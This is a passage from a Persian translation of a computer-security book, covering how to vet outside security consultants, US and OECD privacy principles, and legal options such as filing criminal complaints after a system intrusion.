سوابق تحصیلی را بررسی کنید. برخی افراد مهارت بالای رایانه‌ای خود را در نتیجهٔ مطالعه و تجربهٔ شخصی بدست آورده‌اند و برخی دیگر دربارهٔ علوم و مهندسی رایانه مدارک تحصیلی و دانشکده‌ای دارند؛ اما باور جهانی این است که سطح مهارت مهمتر از مدارک است. همانگونه که در بخش کارکنان اشاره کردیم بررسی کنید که آیا ادعاهای متقاضیان با مدارکشان مطابقت دارد یا خیر. سازمان امنیت ملی ایالات متحده در زمینهٔ امنیت اطلاعات تعداد محدودی مؤسسهٔ آموزشی را بعنوان "قطبهای آموزشی" معرفی کرده است. طبق آن فهرست طرحهای پیشروی مؤسسهٔ infosec در ژوئن ۲۰۰۲ در دانشگاههای جرج میسون[۱۰۸]، جیمز مدیسون[۱۰۹]، ایالت ایداهو[۱۱۰]، ایالت آیوا[۱۱۱]، آموزشگاه کارشناسی ارشد

---

۱۰۶ مراجعه کنید به پورتال وب CISSP در:
http://www.cissps.com/

۱۰۷ گواهی‌های زیر در آدرس www.isaca.org را نیز ببینید:
CISA (Certified Information Security Auditor)
CISM (Certified Information Security Manager)

108 George Mason University
109 James Medison University
110 Idaho
111 Iowa

وابسته به نیروی دریایی، *دانشگاه پوردو*[۱۱۲]، دانشگاه *کالیفرنیا در دیویس*[۱۱۳]، و دانشگاه ایداهو ارائه شدند. در اطراف جهان مراکز مقدماتی فراوانی در زمینهٔ فناوری اطلاعات وجود دارند. منابع محلی خود از جمله دانشگاهها را بررسی کنید تا مراکز مشابهی که ممکن است در آنجا مستقر باشند را بیابید. علاوه بر آن می‌توانید یکی از سازمانهایی که در بخش ضمائم کتاب ارائه شده‌اند را انتخاب نمائید.

شهرت

اگر کسی یک قطعه‌برنامهٔ پرکاربرد نوشته باشد یا در یک موضوع امنیتی مثل ویروس یا رمزنگاری کتابی تألیف کرده باشد بدان معنا نیست که با مقولهٔ امنیت بطور کامل آشناست. برخی از نویسندگان سابقهٔ زیادی در دامنهٔ وسیعی از مسائل امنیتی دارند، اما برخی دیگر تنها نویسندگان یا برنامه‌نویسان خوبی هستند. آگاه باشید که شهرت زیاد لزوماً به معنای شایستگی برای مشاوره نمی‌باشد.

بیمه و تعهدنامه

از افرادی که می‌خواهید برای شما کار کنند بپرسید که آیا بیمه هستند و تعهد سپرده‌اند یا خیر. اینکار نشان می‌دهد که شرکت آنها به شایستگی و رفتار افراد اهمیت می‌دهد. اینکار تضمین نمی‌کند که آن سازمان واجد شایستگیهای لازم باشد، اما به نوعی اطمینان می‌دهد که کارکنان آن سوء پیشینهٔ جنایی ندارند.

رابطه‌ها

از افراد بپرسید که در کدام سازمانهای محلی، ملی و بین‌المللی (ACM، ASIS، CSI، IEEE، و UNISEX) عضو هستند و آیا ارتباط مطلوبی با آنها دارند یا خیر. این سازمانها برای اعضای خود مطالب آموزشی و فرصتهای پیشرفت تخصصی مهیا می‌سازند و بسیاری از آنها نیز برای رفتار حرفه‌ای استاندارد منتشر می‌کنند. اگر سوژهٔ شما تنها مدعی سابقهٔ عضویت در گروههایی مثل "The 133t Hax0r Guild" است شاید بهتر باشد جای دیگری بدنبال یک کارشناس امنیت بگردید!

نفوذگران اصلاح شده

توصیه می‌شود از کار با افراد و سازمانهایی که ادعا می‌کنند نفوذگران اصلاح شده را بعنوان مشاوران امنیت بکار گرفته‌اند خودداری کنید.[۱۱۴] اگرچه گاهی اوقات افرادی که در ارتکاب جرائم رایانه‌ای درگیر هستند می‌توانند تبدیل به عضو مفیدی از جامعه شوند، اما نباید بلافاصله به کسانی که مرتکب جرائم شده‌اند یا سوء سابقه دارند خوش‌بین شد. در این زمینه نکات زیر قابل اشاره‌اند:

۱. بنظر نمی‌رسد کسانیکه در گذشتهٔ خود سابقهٔ خدشه‌دار کردن قانون، مالکیت شخصی، و حقوق خصوصی افراد را دارند انتخاب خوبی برای حفاظت از دارائی و حریم خصوصی مشتریان و حراست از منابع حیاتی باشند. آیا شما حاضرید از یک مجرم سابقه‌دار برای طراحی سیستم نظارت و هشدار سازمان خود استفاده کنید؟ آیا حاضرید یک تبهکار اصلاح شده را برای ادارهٔ مرکز مراقبتهای ویژهٔ شرکت بکار گیرید؟ این موارد تنها پیش‌بینیهای بد نیستند؛ بلکه هریک درصورت بروز اشکال می‌توانند پای شما را به دادگاهها و محاکم مدنی باز کنند – به هر حال این شما بوده‌اید که علیرغم آگاهی از سابقهٔ آنان تصمیم به استخدامشان گرفته‌اید.

۲. به همین صورت باید در مورد افرادی که هنگام انجام مصاحبه با شما از ارائه اسم واقعی خود امتناع می‌ورزند مراقبت به خرج دهید. شاید آنها واقعاً در ورود به بدنهٔ یک سازمان با استفاده از یک تماس تلفنی خبره باشند! اما یکی از ابتدائی‌ترین دلایلی که می‌توان برای استفادهٔ افراد از اسامی مستعار برشمرد این است که نمی‌خواهند در قبال کارهایشان مسئولیتی بر عهده داشته باشند. اگر یک نام مستعار بدنام شد بسیار آسانتر می‌توان آنرا عوض کرد تا اینکه کسی بخواهد نام قانونی خود را تغییر دهد و یا سابقهٔ آنرا اصلاح کند.

112 Purdue University
113 The University of California at Davis

۱۱۴ *آمارهای مربوط به شرکتهای ایالات متحده که نفوذگران اصلاح-شده را بکار گرفته بودند در "تحقیق جرم و امنیت رایانه‌ای" سال ۲۰۰۳ CSI/FBI آمده است:*
http://i.cmpnet.com/gocsi/db_area/pdfs/fbi/FBI2003.pdf

۳. دست آخر اینکه بسیاری از نفوذگران امروزی چندان هم به مباحث امنیتی وارد نیستند. آنها هم در روش و هم در شیوهٔ کار بیشتر مانند تبهکاران جنایی عمل می‌کنند تا برنامه‌نویسان و معماران رایانه‌ای. این کیفیت پائین سیستم‌عاملهای امروزی، فقدان روند امنیت در برنامه‌ریزیها، و در دسترس بودن گستردهٔ ابزارهای نفوذ خودکار است که باعث شده دست‌یازی و حمله به سیستمهای رایانه‌ای بسادگی میسر باشد. همانطور که یکنفر با سابقهٔ پرش با اتومبیل لزوماً یک رانندهٔ ماهر ماشین مسابقه یا یک طراح خبرهٔ موتور اتومبیل نیست، کسی که می‌داند چگونه از ابزارهای نفوذ بهره‌برداری کند و حملات تخریب سرویس را انجام دهد نیز ممکن است در فهم خود از امنیت مورد نیاز برای ایمن نگهداشتن سیستمها دچار مشکلات بنیادین باشد.

خدمات نظارت

اگر وضعیت عمومی پایدار باشد استفاده از خدمات نظارت و کنترل سرمایه‌گذاری خوبی محسوب می‌شود. خدمات رایجی که بصورت روزمره ارائه می‌شوند عبارتند از راهبری محل کار پیمانکاران، نظارت بر امنیت محل کار و خارج از آن، واکنش به رخداد و پیگرد قانونی (درصورت درخواست) و پشتیبانی از یک سایت جایگزین برای استفاده در وقت خرابی سایت اصلی. اما علاوه بر نگرانی در خصوص افرادی که خدمات مشاوره‌ای ارائه می‌دهند باید مراقب سخت‌افزارها و نرم‌افزارهای مورد استفادهٔ آنها هم باشید.

بسیاری از شرکتهای خدمات نظارتی و واکنش به رخداد، سخت‌افزارها و نرم‌افزارهایی دارند که می‌خواهند روی شبکهٔ شما نصب کنند. آنها از اینکار برای جمع‌آوری اطلاعات لازم جهت بازبینی و تغییر تنظیمات امنیتی سیستم استفاده می‌نمایند. باید با این فناوری برخورد محتاطانه داشته باشید؛ چراکه در موقعیتی مجاز و درون دایرهٔ امنیتی شما قرار گرفته است:

۱. مطمئن شوید که از عملکرد اجزای مختلف شبکه و تجهیزات آن توضیحات کامل و کتبی دریافت می‌کنید. همچنین اطمینان حاصل کنید که متوجه می‌شوید آن اجزا چگونه کار می‌کنند و هریک چه کاری انجام می‌دهند.

۲. در مورد خرابیهای تجهیزات از کسی که مسئولیت آن جزء بر عهدهٔ او است گزارش کتبی دریافت کنید. اگر سخت‌افزار یا نرم‌افزاری که روی سیستم نصب شده داده‌های شما را به دنیای خارج از سازمان بفرستد یا در پرکاربردترین ساعات روز بصورت غیرمنتظره سیستمهای شما را از کار بیاندازد، نباید ناگهان متوجه شوید طبق توافقی که با فروشنده داشته‌اید هیچ مسئولیتی متوجه او نیست!

۳. خاطرجمع شوید که در توسعه، آزمایش و استقرار آن فناوری که به سیستمهای شما افزوده می‌شود مراقبت دقیق انجام شده است؛ بویژه اگر طراحی منحصر به فردی داشته باشد. بطور خاص، با توجه به سوابق کیفی و مسائل امنیتی نرم‌افزارهای شرکت مایکروسافت، پیشنهاد می‌کنیم برای استفاده از خدمات هر شرکتی که تصمیم گرفته فناوری امنیت خود را بر مبنای محصولات مایکروسافت قرار دهد دقت لازم را بعمل آورید؛ چراکه آن شرکت باید همواره معایب یافت‌شدهٔ جدید را در بیشتر محصولات رایجِ خود رفع کند و در عین حال سازگاری آن محصولات با نسخه‌های قبلی را نیز حفظ نماید.

۴. اینکه فناوری شرکت مورد نظر واقعاً به جلوگیری از بروز مشکلات کمک می‌کند یا بعد از وقوع مشکل پی به وجود آن می‌برد را به دقت مورد بررسی قرار دهید.

کلام آخر پیرامون منابع خارج از سازمان

استفاده از کارشناسان بیرونی راه خوبی برای تأمین حفاظتهای لازم می‌باشد. مهارتهایی که برای تدوین سیاستها، نظارت بر سیستمهای مهاجم‌یاب و دیواره‌های آتش، و آماده‌سازی و اجرای برنامهٔ ترمیم از سوانح لازم است بعضاً بسیار تخصصی و نامتعارف هستند و ممکن است در میان کارمندان فعلی سازمان وجود نداشته باشند. انجام صحیح همین کارهاست که در تداوم یک تجارت یا خاتمهٔ آن به علت بروز عیب و نقصهای مختلف، تعیین‌کننده است.

در عین حال حوزهٔ مشاورهٔ امنیت با خطر روبرو است؛ چراکه پدیده‌ای جدید است و بخوبی درک نمی‌شود. افراد شارلاتان،

حقه‌باز، بی‌تجربه و تازه‌کار همیشه وجود دارند و در بسیاری موارد نمی‌توان آنها را از افراد قابل اعتماد و حرفه‌ای که در این زمینه کار می‌کنند تمیز داد. البته گذشت زمان به تشخیص مسائل کمک می‌کند، اما انتخاب صحیح در گام اول به مقداری تلاش و سرمایه نیاز دارد.

یک راه که برای بهره‌برداری شما از رشد این حوزه پیشنهاد می‌شود دوری جستن از انعقاد قراردادهای طولانی مدت است؛ مگر آنکه تأمین‌کنندهٔ خدمات امنیتی شما بسیار مورد اطمینان باشد و همواره خود را به‌روز نگه دارد. چشم‌انداز مشاورهٔ امنیت در چند سال آینده مستعد تغییرات زیاد است، و اگر در هر زمان بتوانید گزینه‌های مختلفی که همراه با آن تغییرات بوجود می‌آیند را انتخاب کنید منافع خودتان بهتر تأمین خواهد شد.

سرانجام علیرغم اینکه شما برای دریافت خدماتی قرارداد بسته‌اید که در قبال استفادهٔ نادرست از سیستمهایتان بر آنها نظارت کند، اما هوشیاری و مراقبت خود را نیز از دست ندهید: تا آنجا که ممکن است مراقب باشید و سیستمهای خود را قویتر کنید. همچنانکه تهدیدات پیچیده‌تر می‌شوند، مدافعین و کسانیکه مستعد قربانی‌شدن هستند نیز باید ترقی و پیشرفت نمایند.

فصل هشتم
قانون‌نویسی، تدوین آیین‌نامه‌های دولتی، و سیاستهای حریم خصوصی

کلیات

در این فصل مروری خواهیم داشت بر نحوهٔ تدوین سیاستهای عمومیِ تجاری برای مؤسسات غیرانتفاعی و دولتی در دنیای متصل به شبکه. مثالهایی خواهیم دید از قانون‌نویسی برای حفاظت شهروندان، مشتریان و کودکان از سرقت هویت، کلاهبرداری و مطالب غیراخلاقی. در بخش چهارم بحث عمیقتری دربارهٔ مسائل قانونی *فضای سایبر*[۱۱۵] مطرح شده است. در این فصل تأکید ما بیشتر روی مسئولیت سازمانی در فضای عمومی است.

روابط تجارت و مشتری در دنیای دیجیتالی

بازرگانان اینترنتی اطلاعات زیادی از مشتریان خود بدست می‌آورند. یک پایگاه فروش اینترنتی می‌داند شما درحال بررسی کدام محصول هستید؛ کدام محصول را به کارت خرید خود می‌افزایید اما پس از مدتی حذف می‌کنید؛ و کدام محصول را نهایتاً بصورت اینترنتی می‌خرید. بازرگانان اینترنتی همچنین می‌دانند هنگام خرید در خانه هستید و یا سرِ کار، و اگر بخواهند می‌توانند از باقیماندهٔ اعتبار کارت خرید شما نیز مطلع شوند. علاوه بر آن برخلاف دنیای غیراینترنتی، یک بازرگان اینترنتی می‌تواند میان سابقهٔ خرید و عادتهای گردش شما در اینترنت نیز ارتباط برقرار کند و با برقراری چنین روابطی میان داده‌های مختلف طیف وسیعی از مشتریان، به یکسری الگوهای ارزشمند رفتاری پی ببرد.

ISPها قادرند از این هم بیشتر در مورد مشتری خود اطلاعات کسب کنند؛ چراکه هرآنچه کاربرِ اینترنت می‌بیند باید ابتدا از رایانهٔ ISPها بگذرد. ISPها همچنین می‌توانند پایگاههای وبِ مورد استفادهٔ کاربران خود و حتی مقالاتی که مورد مطالعه قرار داده‌اند را تشخیص دهند. آنها حتی می‌توانند نامه‌های الکترونیکیِ افراد را بر حسب کلمات کلیدی بکاررفته در متن آنها تحلیل نمایند. با ردگیری و تحلیل این اطلاعات، یک ISP می‌تواند بگوید که مثلاً آیا کاربرانش به سفر با قایق علاقمند هستند یا به سفر با اتومبیل؛ به مد اهمیت می‌دهند یا خیر؛ و آیا نسبت به درمان بیماری خاصی علاقه نشان می‌دهند یا نه.

سیاستهای حریم خصوصی

سازمانها و شرکتهای اینترنتی که به تجارت می‌پردازند در رابطه با جمع‌آوری اطلاعاتی که امکان تشخیص هویت و شناسایی کاربر را بوجود می‌آورد باید از چه استانداردهایی تبعیت کنند؟

در ایالات متحده حقوق مصرف‌کننده برای بار اول در *قانون گزارش اعتبار بازار*[۱۱۶] (مصوب سال ۱۹۷۰) صراحتاً مورد اشاره قرار گرفت. این قانون حقوق اساسی مصرف‌کنندگان را به رسمیت می‌شناخت؛ حقوقی چون حق ملاحظهٔ گزارشهای اعتباری هر مصرف‌کننده توسط خود او، حق اطلاع از اینکه چه کسانی گزارشات مربوط به وی را می‌بینند، حق الزام سازمانهای تهیه‌کنندهٔ گزارشات به تحقیق در مورد اشتباهات کشف‌شده توسط مصرف‌کنندگان، و حق الزام سازمانها به اضافه‌کردن یک اظهاریه از طرف مشتریان به گزارشهای مورد مناقشه. در سال ۱۹۷۳ – در دوره‌ای که داده‌های شخصی بیش از پیش روی رایانه‌ها قرار داشتند – برای احقاق حقوق مصرف‌کننده، *آیین‌نامهٔ راهکارهای اطلاعات بازار*[۱۱۷] ابلاغ شد.

آیین‌نامهٔ راهکارهای اطلاعات بازار[۱۱۸]

آیین‌نامهٔ راهکارهای اطلاعات بازار بر پنج اصل استوار است:

- هیچ سیستمِ نگهداریِ سوابقِ داده‌های شخصی نباید بصورت مخفی وجود داشته باشد.

115 Cyberspace

116 Fair Credit Reporting Act
117 Code of Fair Information Practices
۱۱۸ منبع: وزارت بهداشت، آموزش و رفاه ایالات متحده

- باید راهی وجود داشته باشد که هر کس بتواند اطلاع پیدا کند که چه اطلاعات شخصی از وی ثبت می‌شود و از آن اطلاعات چگونه استفاده خواهد شد.
- باید راهی برای افراد وجود داشته باشد که بتوانند از بکار رفتن اطلاعات شخصی خود در اهدافی غیر از آنچه که به آنها اعلام شده جلوگیری کنند.
- برای خود فرد باید راهی برای اصلاح اطلاعاتی از او که باعث شناسایی وی می‌شوند وجود داشته باشد.
- هر سازمانی که آندسته از سوابق داده‌های شخصی را تهیه، نگهداری، استفاده و پخش می‌کند که باعث شناسایی افراد می‌شوند باید قابلیت اطمینان داده‌ها در کاربرد مورد نظر را تضمین نماید و از مورد سوء استفاده قرار گرفتن داده‌ها جلوگیری کند.

کنگرهٔ ایالات متحده به تصویب قوانینی که کاربرد اطلاعات شخصی را ضابطه‌مند می‌کرد ادامه داد. با گذشت زمان، سوابق بانکی، سوابق تلفن، سوابق اینترنت، سوابق مشترکینِ تلویزیون کابلی، سوابق بهداشتی، سوابق تحصیلی و حتی سوابق اجارهٔ نوارهای ویدئویی همه و همه تحت پوشش قانون کنگره‌ایِ ایالات متحده درآمدند. با اینحال هر جزء قانون حفاظتهای متفاوتی ایجاد می‌کند و توسط بخش متفاوتی از نیروهای دولتی اعمال می‌شود. برخی جرائم مثل جرائمی که در *آیین‌نامهٔ حریم خصوصی مشترکین تلفن و دورنگار*[۱۱۹] می‌گنجد، بدون شکایت شاکی خصوصی قابل پیگرد نبودند. اما در اروپا مسائل طور دیگری بود. بر پایهٔ تجربهٔ جنگ دوم جهانی که در آن بسیاری از اطلاعات شخصی توسط نازیها مورد سوء استفاده قرار گرفت، بیشتر دوَل اروپایی ترجیح دادند از مؤسسات خاصی برای ضابطه‌مند کردن جمع‌آوری و استفاده از اطلاعات شخصی استفاده کنند. اروپاییان ایده‌های مطرح در آیین‌نامهٔ راهکارهای اطلاعات بازار را به یک نظامِ کلی موسوم به *حفاظت داده‌ها*[۱۲۰] تعمیم دادند.

راهبردهای سازمان همکاری و توسعهٔ اقتصادی

سازمان همکاری و توسعه اقتصادی (OECD)[۱۲۱] در سال ۱۹۸۰ یک رشته راهبردهای حریم خصوصی را بکار گرفت و آنها را ارائه کرد. بخشی از این راهبردها برای هماهنگ‌سازی ضوابط درحال افزایش حریم خصوصی در کشورهای صنعتی طراحی شده بودند. این راهبردها بطور خاص طراحی شده بودند تا به مشکلات روزافزون جریان فرامرزی داده‌ها – حرکت اطلاعات شخصی از کشوری که داده‌های شخصی در آن به شدت تحت حفاظت قرار دارند به کشوری دیگر که داده‌های شخصی در آن از حفاظت کمتری برخوردارند – بپردازند. راهبردهای OECD در مورد حفاظت از حریم خصوصی و جریان فرامرزی داده‌ها از هشت اصل تشکیل شده است:

اصل محدودیت جمع‌آوری[۱۲۲]

برای جمع‌آوری داده‌های شخصی باید محدودیت وجود داشته باشد. هر دادهٔ شخصی باید با استفاده از ابزارهای قانونی و منصفانه، در شرایط درست، و با دانش و رضایت فردی که اطلاعات به او مربوط می‌شود بدست بیاید.

اصل کیفیت داده‌ها[۱۲۳]

داده‌های شخصیِ جمع‌آوری‌شده باید مرتبط با هدفی که برای استفاده از آن اطلاعات اعلام شده و یا حوزه-های مرتبط با آن هدف باشند. این داده‌ها باید دقیق، کامل، و به‌روز نگهداری شوند.

اصل تعریف هدف[۱۲۴]

هدف از جمع‌آوری اطلاعات شخصی باید در همان لحظهٔ جمع‌آوری داده‌ها و نه دیرتر از آن مشخص باشد. استفاده‌های بعدی از اطلاعات جمع‌آوری‌شده باید به همان اهداف محدود شود؛ و اگر هدفهای بعدی با اهداف اولیه سازگاری ندارند باید این تغییر اهداف را

119 *Antijunk-Fax Telephone Consumer Privacy Act*
120 *Data Protection*

121 *Organization for Economic Cooperation & Development*
122 *Collection Limitation Principle*
123 *Data Quality Principle*
124 *Purpose Specification Principle*

صراحتاً اعلام کرد و نیز اعلام رضایت فرد برای استفاده از اطلاعات وی در اهداف جدید ضروری است.

اصل محدودیت استفاده[۱۲۵]

داده‌های شخصی نباید افشا شوند، در دسترس عموم قرار گیرند، یا برای اهدافی غیر از آنچه که اعلام شده – همانطور که در اصول قبل گفته شد – بکار روند، مگر:

- با رضایت فردیِ مالک اطلاعات؛ یا
- با یک مجوز قانونی.

اصل حفاظهای امنیتی[۱۲۶]

داده‌های شخصی باید با حفاظهای امنیتی مناسب در مقابل خطراتی از قبیل ناقص شدن، دسترسی، تخریب، تغییر، افشا، و استفادهٔ غیرمجاز مراقبت شوند.

اصل باز بودن[۱۲۷]

باید یک سیاست کلی دربارهٔ شفاف بودن راهکارها و سیاستها با نگاه خاص به داده‌های شخصی وجود داشته باشد. باید ابزارهایی وجود داشته باشند که به آسانی بتوانند طبیعت داده‌های شخصی، هدف اصلی استفاده و همچنین مدت متعارف نگهداری از آنها را معین کنند.

اصل مشارکت فردی[۱۲۸]

هر کسی باید این حق را داشته باشد که:

- بفهمد اطلاعاتی از وی در دست گردآورندهٔ اطلاعات وجود دارد یا خیر؛
- با گردآورندهٔ اطلاعات مربوط به خود: در یک زمان معقول، با هزینه‌ای ارزان، با روشی معقول، و در حالتی که اطلاعات برایش شفاف باشد در ارتباط باشد؛
- اگر یکی از درخواستهای بالا رد شد برای آن دلیل بخواهد و بتواند آنرا به چالش بکشد؛ و
- بتواند دربارهٔ اطلاعات مربوط به خود بحث کند و اگر در بحث موفق شد قادر باشد اطلاعات را حذف، اصلاح و یا تکمیل نماید.

اصل پاسخگویی[۱۲۹]

هر گردآورندهٔ اطلاعات باید در قبال عمل به اصول ذکرشدهٔ بالا پاسخگو باشد.

در راهکارهای OECD اجبار قانون به چشم نمی‌خورد، اما در عوض هنگام بررسی قوانین هریک از کشورهای عضو، از این هشت اصل بعنوان راهبرد استفاده می‌شود.

برای مشاهدهٔ یک فهرست کنترل ساده در مورد معیارهای حفاظت از اطلاعات – که درصورت جمع‌آوری اطلاعات در مورد مشتریان از روی پایگاه وب باید از آنها استفاده کرد – می‌توانید به فصل یازدهم از همین بخش کتاب مراجعه کنید.

125 Use Limitation Principle
126 Security Safeguards Principle
127 Openness Principle
128 Individual Participation Principle

129 Accountalility Principle

فصل نهم
جرائم رایانه‌ای

کلیات

امیدواریم هیچوقت مجبور نشوید بر اساس اطلاعات موجود در این فصل عمل کنید. ممکن است این کتاب را با کوشش فراوان مطالعه کرده باشید و همهٔ گامهای مهم در جهت حفظ امنیت سیستم خود را برداشته باشید، اما با تمام این احوال همچنان ممکن است سیستم شما مورد سوء استفاده قرار بگیرد. شاید فردی که قبلاً کارمند شما بوده با استفاده از یک حساب قدیمی به سیستم نفوذ و بعضی از سوابق را حذف کند. علیرغم تمام تلاشهای شما برای جلوگیری از عملیات نفوذ، شاید فردی از یک کشور خارجی بتواند به سیستم شما وارد شود. در این شرایط شما چه مدرکی برای ارائه به دادگاه در اختیار خواهید داشت؟ علاوه بر این می‌توان پرسید هنگامی که از سیستم استفادهٔ عادی می‌کنید، چه خطراتی از جانب قانون و سیستم حقوقی شما را تهدید می‌کنند؟ اگر هدف یک شکایت قانونی قرار بگیرید چه می‌کنید؟ این فصل تلاش دارد این مسائل را روشن کند. به آنچه که در این فصل بیان شده صرفاً باید بعنوان توصیه‌های کلی توجه کرد و نه مسائل قانونی و حقوقی؛ چراکه برای جزئیات بیشتر و مسائل ریزتر باید از وکلای خوب و مشاوران حقوقی مجرب بخواهید بر حسب قوانین کشور محل اقامتتان شما را راهنمایی کنند.

گزینه‌های حقوقی موجود در پی وقوع یک نفوذ

اگر رایانه‌های شما در اثر نفوذ دچار آسیب شوند ممکن است در سیستم حقوقی و قانونی کشور محل اقامتتان گزینه‌های متعددی وجود داشته باشد که بتوانید از آنها استفاده کنید. این فصل نمی‌تواند شما را در استفادهٔ دقیق از جنبه‌های مختلف قانون یاری کند، چراکه در قوانین و سیستمهای حقوقی کشورهای مختلف تفاوتهای زیادی وجود دارد. لذا در این فصل به چیزی فراتر از قوانین ایالات متحده نخواهیم پرداخت.[۱۳۰] با اینحال دسترسی جهانی به اینترنت، وجود قوانینی که از داخل ایالات متحده نشأت نگرفته‌اند را ضروری کرده است.

قبل از هرگونه تصمیم به آغاز مراحل قانونی با یک وکیل زبده مشورت کنید. چون در استفاده از رویکردهای قانونی خطرات و مشکلاتی وجود دارد، باید قبل از شروع پیگرد قانونی نسبت به انجام آن مطمئن باشید.

در برخی موارد ممکن است چاره‌ای نداشته باشید و ملزم به انجام پیگرد قانونی باشید. مثلاً:

- اگر بخواهید برای شرکت بیمه ادعانامه‌ای تنظیم کنید تا خسارتی که در اثر یک نفوذ به شما وارد شده را جبران کند، ممکن است از جانب شرکت بیمه ملزم به انجام پیگرد قانونی علیه نفوذگران شوید.
- اگر اطلاعات خاص و طبقه‌بندی شده‌ای را پردازش می‌کنید ممکن است قوانین دولتی شما را ملزم به انجام تحقیقات و ارائه گزارش در مورد فعالیتهای مشکوک کنند.
- اگر از یک فعالیت غیرقانونی آگاه شوید و آنرا گزارش نکنید از نظر قانون بعنوان "معاونت در جرم" مسئولیت خواهید داشت، بخصوص اگر رایانهٔ شما هم در آن فعالیتهای غیرقانونی مورد استفاده قرار گرفته باشد.
- اگر از رایانهٔ شما برای انجام کارهای غیرمجاز و نادرست استفاده شود و شما در قبال آن کاری نکنید ممکن است به خاطر خرابیهای ایجاد شده علیه شما شکایت کیفری صورت بگیرد.
- اگر مدیر اجرایی یک شرکت دولتی باشید و تصمیم بگیرید که فعالیتهای غیرقانونی را تحت پیگرد و تجسس قرار ندهید، سهامداران شرکت شما می‌توانند علیه شما اقامهٔ دعوی کنند.

---

۱۳۰ *یک مباحثهٔ گسترده‌تر در مورد مباحث حقوقی و قانونی در ایالات متحده را می‌توان در کتاب "جرائم رایانه‌ای" مشاهده کرد:*
A Crimefighter's Handbook (O'Reilly)
ما توصیه می‌کنیم چنانچه در مورد مطالبی که در این فصل به آنها اشاره می‌کنیم به توضیحات بیشتری نیاز دارید به این کتاب مراجعه کنید. کتاب فوق دیگر به چاپ نمی‌رسد، ولی کپی‌ها و نسخه‌های قدیمی آن موجود هستند.

- اگر مدیر اجرایی یک شرکت خصوصی باشید، حتی اگر شرکت فاقد سهامدار هم باشد ممکن است شرکتهای همکار، حامیان و یا مشتریان – بسته به قوانین جرائم رایانه‌ای هر کشور – از شما شکایت نمایند.

اگر در یک شرکت کار می‌کنید و می‌دانید که سیستم شما به شدت در معرض مخاطره قراردارد قاعدتاً باید بعنوان بخشی از برنامه‌ریزی امنیتی (قبل از وقوع رخداد امنیتی) با مشاور حقوقی سازمان خود گفتگو کنید. سازمانها بسته به دخالت یا عدم دخالت نیروهای انتظامی سیاستهای متفاوتی را اتخاذ می‌کنند. با تمرین فعالیتهای زمان بحران، احتمال دنبال‌شدن واقعی سیاستها هنگامی که به آنها نیاز است را افزایش دهید.

بعنوان چند مقدمه برای شروع بحث، این قسمت مروری بر چند مسئله – که به احتمال قوی شما نیز روزی با آن مواجه می‌شوید – خواهد داشت:

تنظیم شکوائیه جزایی

در ایالات متحده هر زمان که احساس کنید کسی خلاف قانون عمل‌کرده می‌توانید علیه او اقدام قانونی نمایید و این روند با تنظیم شکوائیه قضایی در مراجع رسمی شروع می‌شود. سپس از دادیار اجازه گرفته می‌شود که بر اساس ادعای انجام‌شده تحقیق بعمل آید و اگر جرمی تشخیص داده شد بر اساس آن یک دادخواست تنظیم شود.

در برخی و شاید اکثر موارد، تحقیقات جنایی نتیجه‌ای برای شما در پی ندارد. چنانچه اعمال غیرقانونی انجام شده تکرار نشود و نفوذگر ردپایی از خود باقی نگذاشته باشد، یا اگر سیستم شما از یک کشور خارجی مورد حمله قرار گرفته باشد، بسیار بعید است که بتوانید نفوذگران را شناسایی و دستگیر کنید. نفوذگران حرفه‌ای بندرت از خود رد پایی باقی می‌گذارند.[۱۳۱]

تنظیم و ارائه شکوائیه لزوماً به تعقیب قضایی منجر نمی‌شود. دادیار مربوطه (در سطوح مختلف کشوری، ایالتی یا محلی) در مورد قانون نقض شده، شدت جرم، لزوم همکاری بازرسان آموزش‌دیده و نوع محکومیت تصمیم می‌گیرد. به خاطر داشته باشید که دستگاه قضایی مملو از پرونده‌های گوناگون است. بنابراین احتمال انجام تحقیقات در پرونده‌های جدید درصورتی وجود خواهد داشت که مربوط به جرائم خاص و یا تهدیدات جدی باشند. مثلاً احتمال انجام تحقیقات در پرونده‌ای که در آن ۲۰۰،۰۰۰ دلار داده از بین رفته، از یک مورد که در آن یکنفر مکرراً از طریق مودم، رایانهٔ شخصی شما را پویش می‌کند بسیار بیشتر است.

اطلاعات راجع به تحقیقات ممکن است به شما داده بشود یا نشود. حتی ممکن است در جریان تحقیقات اطلاعات نادرست به شما ارائه گردد – مثلاً درحالیکه بازرسان شدیداً مشغول کار هستند به شما گفته شود هیچگونه تحقیقاتی در کار نیست.

این امکان وجود دارد که انجام تحقیقات، شما را در موقعیتی ناپایدار قرار دهد. اگر افراد ناشناس به نفوذ خود به سیستم شما ادامه دهند، ممکن است مراجع قانونی از شما بخواهند که سیستم خود را باز بگذارید تا بازرسان اتصالات سیستم را ردیابی کنند و برای دستگیری متهم به جمع‌آوری مدارک بپردازند. متأسفانه بازگذاشتن درهای سیستم بعد از مشخص‌شدن اینکه سیستم شما مورد سوء استفاده قرار دارد، درصورتیکه نفوذگران از سیستم شما جهت انجام خرابکاری روی سیستمهای دیگر استفاده کنند می‌تواند با یک دادنامهٔ ثالث شما را در مظان اتهام قرار دهد، چراکه همکاری با نهادهای قانونی مانع از وارد شدن اتهام به شما نیست. پس بهتر است قبل از پذیرش چنین مخاطراتی جوانب امر را کاملاً بررسی کنید.

تماس با مراجع مربوطه

در زمینهٔ جرائم رایانه‌ای بسته به اینکه چه نوع سیستم قانونی و جزائی در کشور شما وجود دارد ممکن است لازم باشد که اقدامات خاصی را جهت برقراری تماس با مسئولین محلی یا کشوری انجام دهید. ذیلاً بعضی توصیه‌های کلی آورده شده اما طبیعتاً اگر آنها را طبق روشهای مناسب کشور خودتان بکار ببرید تأثیر بیشتری خواهند داشت.

- اگر امکان آن وجود داشته باشد بهتر است اول به مراجع محلی یا استانی مراجعه کنید. اگر مراجع استانی تشخیص دهند که مسئله توسط عوامل کشوری بهتر

---

۱۳۱ *البته تعداد بسیار کمی از نفوذگران واقعاً به اندازه‌ای باهوش هستند که خودشان فکر می‌کنند.*

می‌تواند مورد تحقیق قرار گیرد به شما پیشنهاد می‌کنند که به آنها مراجعه نمایید. هرچند متأسفانه برخی از دوایر محلیِ اجرای قوانین علاقه‌ای به استفاده از نیروی کمکیِ مأموران کشوری ندارند. این امر ممکن است سبب شود رخداد امنیتی مربوط به شما بدرستی تحت تحقیقات قرار نگیرد.

